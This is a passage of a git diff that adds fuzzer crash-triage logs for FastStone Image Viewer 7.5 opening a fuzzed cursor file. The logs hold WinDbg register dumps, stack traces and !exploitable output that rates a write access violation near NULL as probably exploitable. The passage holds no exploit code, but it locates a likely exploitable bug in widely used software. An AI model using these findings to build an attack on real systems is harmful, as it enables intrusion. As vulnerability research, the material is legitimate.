+ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1ad8.1988): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07eb7b19 edx=00000000 esi=00000000 edi=0f6fcfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=8.07022e-038 1.16598e+010 3.89754e+024 -1.62196e+019 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002cc000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002cc000 bea1af64 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629f 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002cc000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7962/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7962/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e0eca22 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7962/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7998/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7998/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7998/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7998/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7998/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e0eca22 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7998/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7998/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7998/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..8964a84 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7998/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x914: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x914: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(914.1cac): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f57b19 edx=00000000 esi=00000000 edi=0fc3cfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.763565049914082400000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.51886e+020 8.0308e-019 2.65018e+017 -6.46187e+036 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08038130 07fb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0036f000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0036f000 3d0d5662 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c1 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0036f000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7998/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7998/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..8964a84 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7998/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x914: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x914: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(914.1cac): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f57b19 edx=00000000 esi=00000000 edi=0fc3cfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.763565049914082400000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: 